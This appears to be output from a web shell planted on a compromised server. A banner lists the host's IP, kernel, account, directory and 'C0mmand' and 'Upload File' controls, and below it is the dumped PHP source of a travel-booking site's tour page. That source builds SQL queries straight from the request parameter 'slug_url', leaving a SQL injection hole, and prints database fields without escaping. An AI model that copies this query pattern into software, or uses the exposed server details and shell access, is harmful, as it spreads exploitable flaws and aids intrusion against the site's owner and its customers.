Server IP : 103.53.40.154 / Your IP : 3.148.106.49 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/thegloriousadventure.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); // $slug_name = $_GET['slug_url']; // if(isset($_SERVER['PATH_INFO'])){ // $slug_name=$_SERVER['PATH_INFO']; // $querydt="SELECT * FROM `tbl_services` WHERE `slug_url`='$slug_name'"; // $rundt = mysqli_query($db,$querydt) or die("Query Not run"); // $datadt = mysqli_fetch_assoc($rundt); // } ?> <?php // include_once('admin/config.php'); $cat_url = $_REQUEST['slug_url']; $querydt="SELECT * FROM `tbl_services` WHERE `slug_url`='$cat_url'"; $rundt = mysqli_query($db,$querydt) or die("Query Not run"); $datadt = mysqli_fetch_assoc($rundt); ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <?php include "links.php"; ?> <title><?= str_replace("LOCATION",$location,$datadt["meta_title"]);?></title> <meta name="description" content="<?= str_replace("LOCATION",$location,$datadt["meta_desc"]);?>"> <style> .mhead2{ background: #4D869C; padding: 10px; } </style> </head> <body> <?php include "header.php"; ?> <?php $universal_notification = $data1['universal_notification']; $tour_notification=$datadt['tour_notification']; if (empty($universal_notification)) { echo ' <section id="marquee"> <div class="container-fluid"> <div class="row"> <div class="col-md-12 mp-0s" style="background-color:#ed1c24; padding:3.1px;"> <marquee behavior="scroll" direction="left" onmouseover="this.stop();" onmouseout="this.start();" scrollamount="4" style="color:#fff; font-weight:bold; font-size:20px; position:relative; top:2px;"> <strong>Disclaimer::</strong> ' . $tour_notification . ' </marquee> </div> </div> </div> </section>'; } ?> <!-- breadcrumb code --> <div class="breadcrumb breadcrumb-style-one"> <div class="container"> <div class="col-lg-12 text-center"> <h1 class="breadcrumb-title"><?= str_replace("LOCATION",$location,$datadt["name"]);?></h1> <ul class="d-flex justify-content-center breadcrumb-items"> <li class="breadcrumb-item"><a href="<?php echo $wspath?>">Home</a></li> <li class="breadcrumb-item active"><?= str_replace("LOCATION",$location,$datadt["name"]);?></li> </ul> </div> </div> </div> <!-- breadcrumb code end --> <div class="container"> </div> <div class="package-details-wrapper pt-30 pb-10"> <div class="container"> <div class="container"> <div class="row"> <div class="col pkg_brd"> <div class="pkg_nm"><?= str_replace("LOCATION",$location,$datadt["display_name"]);?></div> <?php if (!empty($datadt['mrp'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Tour Starts From - <del><span class="amt-sty"><?php echo $datadt['mrp']; ?>/-</span></del> <span class="amt-sty"><?php echo $datadt['price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <!--bus tour price --> <?php if (!empty($datadt['bus_price'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-bus"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Bus - <span class="amt-sty"><?php echo $datadt['bus_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['bus_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (!empty($datadt['swift_price'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Swift Dzire - <span class="amt-sty"><?php echo $datadt['swift_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['swift_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (!empty($datadt['tempo_10seater_price'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Tempo Traveller 10 Seater - <span class="amt-sty"><?php echo $datadt['tempo_10seater_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['tempo_10seater_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (!empty($datadt['tempo_12seater_price'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Tempo Traveller 12 Seater - <span class="amt-sty"><?php echo $datadt['tempo_12seater_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['tempo_12seater_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (!empty($datadt['tempo_14seater_price'])): ?> <div class="row price-row py-3" style="padding-top:5px !important;"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Tempo Traveller 14 Seater - <span class="amt-sty"><?php echo $datadt['tempo_14seater_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['tempo_14seater_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> </div> </div> </div> <div class="row pt-40 "> <div class="col-lg-12"> <div class="tour-package-details"> <div class="pd-header bkgd-shdo"> <div class="pd-thumb"> <img src="<?php echo $wspath?>admin/images/property-image/<?php echo $datadt['image'];?>" alt="<?= str_replace("LOCATION",$location,$datadt["name"]);?>" title="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> </div> <div class="row"> </div> <div class="header-bottom"> <div class=" package-info-tab mt-3"> <!-- <h3 class="d-subtitle">Package Details</h3> --> <p><?= str_replace("LOCATION",$location,$datadt["desc"]);?></p> </div> </div> </div> <!-- tabs start from here --> <div class="package-details-tabs"> <div class="container"> <div class="row"> <div class="col-lg-12 my-2 mb-4 text-start"> <div class="heading-main "> <h2 class="mhead"> Destination Covered by <span class="lst-words"> <?= str_replace("LOCATION",$location,$datadt["name"]);?></span></h2> </div> </div> </div> </div> <section id="des-details"> <div class="container"> <div class="row"> <?php $service_id=$datadt['id']; $sql_check_submission = "SELECT spots_tour FROM `tbl_services` WHERE id = $service_id"; $run_check_submission = mysqli_query($db, $sql_check_submission) or die("Query Not run"); while ($row_check_submission = mysqli_fetch_assoc($run_check_submission)) { $submitted_spots_ids = explode(',', $row_check_submission['spots_tour']); } if (!empty($submitted_spots_ids)) { $submitted_spots_string = implode(',', $submitted_spots_ids); $sqlsp = "SELECT * FROM `tbl_tourspots` WHERE spots_id IN ($submitted_spots_string)"; $runsp = mysqli_query($db, $sqlsp) or die("Query Not run"); while ($datasp = mysqli_fetch_assoc($runsp)) { $spot_id = $datasp['spots_id']; ?> <div class="col-lg-6"> <div class="card mb-3"> <div class="row g-0"> <div class="col-md-4"> <img src="<?php echo $wspath?>admin/images/places/<?php echo $datasp['spots_image']; ?>" class="img-fluid rounded-start w-100" alt="<?php echo $datasp['spots_name']; ?>"> </div> <div class="col-md-8"> <div class="card-body"> <h5 class="card-title"><?php echo $datasp['spots_name']; ?></h5> <p class="card-text"><?php echo $datasp['spots_detail']; ?></p> </div> </div> </div> </div> </div> <?php } } else { echo "No submitted spots."; } ?> </div> </div> </section> <div class="container"> <div class="row"> <div class="col pkg_brd"> <div class="pkg_nm"><?= str_replace("LOCATION",$location,$datadt["display_name"]);?></div> <?php if (!empty($datadt['mrp'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Tour Starts From - <del><span class="amt-sty"><?php echo $datadt['mrp']; ?>/-</span></del> <span class="amt-sty"><?php echo $datadt['price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <!--bus tour price --> <?php if (!empty($datadt['bus_price'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-bus"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Bus - <span class="amt-sty"><?php echo $datadt['bus_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['bus_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (!empty($datadt['swift_price'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Swift Dzire - <span class="amt-sty"><?php echo $datadt['swift_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['swift_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (!empty($datadt['tempo_10seater_price'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Tempo Traveller 10 Seater - <span class="amt-sty"><?php echo $datadt['tempo_10seater_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['tempo_10seater_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (!empty($datadt['tempo_12seater_price'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Tempo Traveller 12 Seater - <span class="amt-sty"><?php echo $datadt['tempo_12seater_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['tempo_12seater_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (!empty($datadt['tempo_14seater_price'])): ?> <div class="row price-row py-3" style="padding-top:5px !important;"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Tempo Traveller 14 Seater - <span class="amt-sty"><?php echo $datadt['tempo_14seater_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['tempo_14seater_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> </div> </div> </div> <div class="package-gallary-tab mt-3 pb-2 glry-shdo"> <div class="row g-4"> <h2 class=" mhead headscss py-2">Gallery <span class="lst-words"> <?= str_replace("LOCATION",$location,$datadt["name"]);?> </span></h2> <?php $id = $datadt['id']; $sqlgal = "SELECT * FROM `tbl_image` WHERE tour_id=$id"; $rungal = mysqli_query($db, $sqlgal) or die("Query Not run"); while($datagal = mysqli_fetch_assoc($rungal)){ ?> <div class="col-lg-4"> <div class="package-gallary-item"> <a href="<?php echo $wspath?>admin/images/gallery/<?php echo $datagal['image']?>" data-fancybox="gallery" data-caption="<?php echo $datagal['img_title']?>"> <img src="<?php echo $wspath?>admin/images/gallery/<?php echo $datagal['image']?>" alt="<?php echo $datagal['img_title']?>" title="<?php echo $datagal['img_title']?>"> <p><?php echo $datagal['img_title']?></p> </a> </div> </div> <?php } ?> </div> </div> <div class=" package-location-tab mt-3 pb-3 pkg-loc-shdo" aria-labelledby="pills-package4" > <div class=""> <h2 class="mhead">FAQ's Related <span class="lst-words"><?= str_replace("LOCATION",$location,$datadt["name"]);?> </span></h2> <div class="faq-wrapper "> <div class="container"> <div class="row"> <div class="col-lg-12 "> <div class="faqs "> <!-- <h2 style="padding-bottom:0;">Tour Related <span> Question</span> </h2> --> <div class="accordion faq-accordion accordion-flush" id="faq-accordion-example"> <?php $id = $datadt['id']; $sqlfaq = "SELECT * FROM `tbl_faqs` WHERE t_id=$id"; $runfaq = mysqli_query($db, $sqlfaq) or die("Query Not run"); $count=0; while($datafaq = mysqli_fetch_assoc($runfaq)){ $count++; ?> <div class="accordion-item faq-accordion"> <h2 class="accordion-header" id="faq-heading<?php echo $count;?>"> <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#faq-collapse<?php echo $count;?>" aria-expanded="false" aria-controls="faq-collapse<?php echo $count;?>"> Q<?php echo $count;?>: <?php echo $datafaq['question'];?> </button> </h2> <div id="faq-collapse<?php echo $count;?>" class="accordion-collapse collapse" aria-labelledby="faq-heading<?php echo $count;?>" data-bs-parent="#faq-accordion-example"> <div class="accordion-body"> <p><?php echo $datafaq['answer'];?></p> </div> </div> </div> <?php } ?> </div> </div> </div> </div> </div> </div> </div> </div> </div> <div class="container"> <div class="row"> <div class="col pkg_brd"> <div class="pkg_nm"><?= str_replace("LOCATION",$location,$datadt["display_name"]);?></div> <?php if (!empty($datadt['mrp'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Tour Starts From - <del><span class="amt-sty"><?php echo $datadt['mrp']; ?>/-</span></del> <span class="amt-sty"><?php echo $datadt['price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <!--bus tour price --> <?php if (!empty($datadt['bus_price'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-bus"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Bus - <span class="amt-sty"><?php echo $datadt['bus_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['bus_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (!empty($datadt['swift_price'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Swift Dzire - <span class="amt-sty"><?php echo $datadt['swift_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['swift_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (!empty($datadt['tempo_10seater_price'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Tempo Traveller 10 Seater - <span class="amt-sty"><?php echo $datadt['tempo_10seater_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['tempo_10seater_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (!empty($datadt['tempo_12seater_price'])): ?> <div class="row price-row"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Tempo Traveller 12 Seater - <span class="amt-sty"><?php echo $datadt['tempo_12seater_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['tempo_12seater_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> <?php if (!empty($datadt['tempo_14seater_price'])): ?> <div class="row price-row py-3" style="padding-top:5px !important;"> <div class="col-md-6 pkg_rs"><i class="fa fa-car"></i> <?= str_replace("LOCATION",$location,$datadt["name"]);?> - Tempo Traveller 14 Seater - <span class="amt-sty"><?php echo $datadt['tempo_14seater_price']; ?>/-</span></div> <div class="col-md-6 pkg_btn"> <div class="pkg_btn"> <?php if ($datadt['tour_status'] == 'Full'): ?> <form method="POST"> <button class="btn btn-warning" type="button" style="font-weight: 600;color:white;background:#ff0000;border-color: #ff0000;">Booking Full</button> </form> <?php else: ?> <form action="<?php echo $wspath; ?>booking.html" method="POST"> <input type="hidden" name="tour_name" value="<?= str_replace("LOCATION",$location,$datadt["name"]);?>"> <input type="hidden" name="price" value="<?php echo $datadt['tempo_14seater_price']; ?>"> <button class="btn btn-danger" type="submit" name="submit-booking">Book Now</button> </form> <?php endif; ?> </div> </div> </div> <?php endif; ?> </div> </div> </div> </div> </div> </div> </div> <?php include "inner-footer.php";?> <?php include "footer.php"; ?> </body> </html>